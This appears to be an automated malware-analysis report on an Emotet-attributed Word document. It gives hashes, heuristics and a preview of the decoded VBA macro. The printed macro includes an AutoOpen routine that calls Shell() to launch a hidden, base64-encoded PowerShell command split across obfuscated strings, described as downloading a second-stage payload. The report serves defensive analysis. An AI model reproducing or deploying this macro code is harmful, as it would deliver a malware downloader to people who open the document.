Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 84b3862852cbb9db…

MALICIOUS

Office (OLE)

113.0 KB Created: 2018-05-30 08:44:00 Authoring application: Microsoft Office Word First seen: 2018-06-19
MD5: e3099904f7657c5efde6c8c098dca3f2 SHA-1: cfad625988e7e13e882a8057c737a9137a6b8709 SHA-256: 84b3862852cbb9db1c2fadd86f8cfd3baafd244fbd30418712de38ae1fec395c
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing a VBA macro with an AutoOpen function. This macro utilizes the Shell() function to execute a PowerShell command. The PowerShell command is obfuscated but appears to be designed to download and execute a second-stage payload. The ClamAV detection name 'Doc.Downloader.Emotet-7005927-0' strongly suggests the Emotet family.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7005927-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7005927-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17642 bytes
SHA-256: 7e4eb8808adbde34e9d1679cf6b86e3f9f9318c437274ce8cb0e6c3cbf12969c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IhzTQoXqoPCYS"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function NipqzuLcioR()
On Error Resume Next
LsmuNU = Fix(57316 / CSng(63394) * joXNw * bEiVl)
VhBn = CDate(80426)
dwFimh = Fix(357 / CSng(5012) * bXFIh * qzZnB)
VhBn = CDate(69738)
NipqzuLcioR = vWGKuwcKilO + RbCrHIOK + zUOvsSDA + vsbWi + ShViiE + wQDFE + dwVRZIBFp + LzaUqZJv + POkQOnhCvk + QDDYTlOzDwQ + XtESBSjavfq + DUrXUJC + ScnzvpOKP
blktGM = Fix(58687 / CSng(51193) * UJhPqp * hwjCPN)
VhBn = CDate(54)
End Function
Sub Autoopen()
On Error Resume Next
njSOh = Fix(91519 / CSng(94905) * tvUUws * nYtfCw)
VhBn = CDate(51276)
aUbSv (NipqzuLcioR)
SBSsr = Fix(40507 / CSng(65618) * OlcFa * QtAXVo)
VhBn = CDate(37937)
End Sub
Function aUbSv(vlscNlhpDc)
On Error Resume Next
UjoVt = Fix(57802 / CSng(42339) * zMNNAN * DGSLd)
VhBn = CDate(12496)
iMpQlYjwv = npmlPSNjsF + Shell(BzQEOjzDN + (Chr(vbKeyP)) + spCGr + vlscNlhpDc + ECNQGwoznH, iPRpdqz + vbHide + MZLWojtim)
VmAuIA = Fix(58936 / CSng(60924) * mwvjlD * cEwfn)
VhBn = CDate(31170)
End Function


Attribute VB_Name = "MsCdzQCcqPlKC"
Function vWGKuwcKilO()
On Error Resume Next
wvtXi = Fix(64707 / CSng(42601) * dOzBWY * tiNCTi)
VhBn = CDate(6115)
QLpOH = "owersHeLL -Wi" + "nDowsTyle hid" + "den -e IAAuACA" + "AKAAoAFYAYQ" + "BSAEkAYQBCAEw" + "AZQAgACcAKgBtAE" + "QAcgAqACcAKQAu" + "AE4AYQB" + "NAGUAWwAzACw"
dhLTu = Fix(12407 / CSng(3190) * VCjno * jLWTZ)
VhBn = CDate(48436)
qYHcvib = "AMQAxACwA" + "MgBdAC0ASgBPAEk" + "ATgAnACcAKQA" + "oACgAKA"
QCTYa = Fix(2646 / CSng(31083) * jsbtXQ * TObnbI)
VhBn = CDate(59168)
lKWPhY = "AoACIAewA5AD" + "MAfQB7" + "ADEAMAA5AH0Ae" + "wAyADEAfQB7A"
pltUBB = Fix(60376 / CSng(99437) * dANir * UFlIoK)
VhBn = CDate(9162)
IMbOsj = "DEAfQB7ADQ" + "AOQB9AHsAMQA" + "yADcAf" + "QB7ADQAM" + "QB9AHsA" + "MQA0ADMAf" + "QB7ADgANAB9AH" + "sAMQA1AH0" + "AewA3AD"
RIrrIs = Fix(72630 / CSng(95349) * lEimh * OwBsSP)
VhBn = CDate(44365)
EXprfCQl = "AAfQB7ADc" + "ANQB9AHsAN" + "gAyAH0A" + "ewAyAH0AewAxADY" + "AMAB9AHsANQA2AH" + "0AewAxADIAf" + "QB7ADI" + "AOAB9" + "AHsAMgAyAH0" + "AewAxADEANQB9AH"
KcTGi = Fix(80980 / CSng(99878) * okrcLK * XHXjl)
VhBn = CDate(52417)
bCjLJDciA = "sAOQA3AH" + "0AewAzADkAfQB" + "7ADEANAA" + "2AH0Ae" + "wAxAD" + "EAfQB7ADEANA" + "AyAH0AewA4A" + "DIAfQ" + "B7ADkAMQB9"
vWGKuwcKilO = QLpOH + qYHcvib + lKWPhY + IMbOsj + EXprfCQl + bCjLJDciA
End Function
Function RbCrHIOK()
On Error Resume Next
NInYXL = Fix(74346 / CSng(33949) * iuFjPp * DHOvPt)
VhBn = CDate(89963)
zBfWti = "AHsAMwA0AH0" + "AewAxA" + "DAAOAB9" + "AHsAMQAyA" + "DMAfQB7AD" + "EAMwA4AH0" + "AewA3ADcAfQB7" + "ADEAMQA5" + "AH0AewA" + "1ADQAfQB7A"
VDnil = Fix(91233 / CSng(66770) * bkOKTK * oDWwM)
VhBn = CDate(66234)
lTYkGfQFpDM = "DYAMwB9AHs" + "AMQAxADYA" + "fQB7A" + "DEAMwA2" + "AH0AewAxADQ" + "AOAB9AHsAMQ"
itiVT = Fix(47959 / CSng(43978) * LTOiCT * IjqwI)
VhBn = CDate(58023)
wmAYtBbXXj = "AyADIAfQB" + "7ADMANgB9AHsAMg" + "AwAH0AewA5ADA" + "AfQB7ADUAN" + "QB9AHsAN" + "gA3AH0AewA2" + "ADgAfQB"
BiRtoa = Fix(83226 / CSng(85720) * iWPZtw * bJOvZ)
VhBn = CDate(90133)
fmKzNBhjH = "7ADYAM" + "AB9AHsA" + "MwAyAH0Aew" + "AxADUAOAB9AHsAN" + "gA2AH0A" + "ewA4AH0AewA"
lHzPvq = Fix(15600 / CSng(31751) * bisDE * kwoSYf)
VhBn = CDate(23627)
cwEZs = "5ADgAf" + "QB7ADMAfQB7" + "ADEAMwA1AH0" + "AewAxADQA" + "NQB9AHs" + "AMQA1ADUAfQB7" + "ADEAM" + "AAyAH0"
tfLQOm = Fix(89195 / CSng(66304) * Gijmo * vBmRw)
VhBn = CDate(77308)
PijsG = "AewAzA" + "DAAfQB7ADEAMwA" + "0AH0AewAxAD" + "QAMQB9A" + "HsAMQA0A" + "DcAfQB7ADYAfQB" + "7ADcAOAB9A" + "HsAOA" + "A5AH0AewAxA"
RbCrHIOK = zBfWti + lTYkGfQFpDM + wmAYtBbXXj + fmKzNBhjH + cwEZs + PijsG
End Function
Function zUOvsSDA()
On Error Resume Next
BtLBZS = Fix(13325 / CSng(12445) * QZUGk * ZtiftL)
VhBn = CDate(73122)
zXRGo = "DMAOQB9" + "AHsANAB9AH" + "sANAA0AH0Aew" + "AxADMANwB9A" + "HsAOAAzAH0Ae" + "wAxADQANA
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.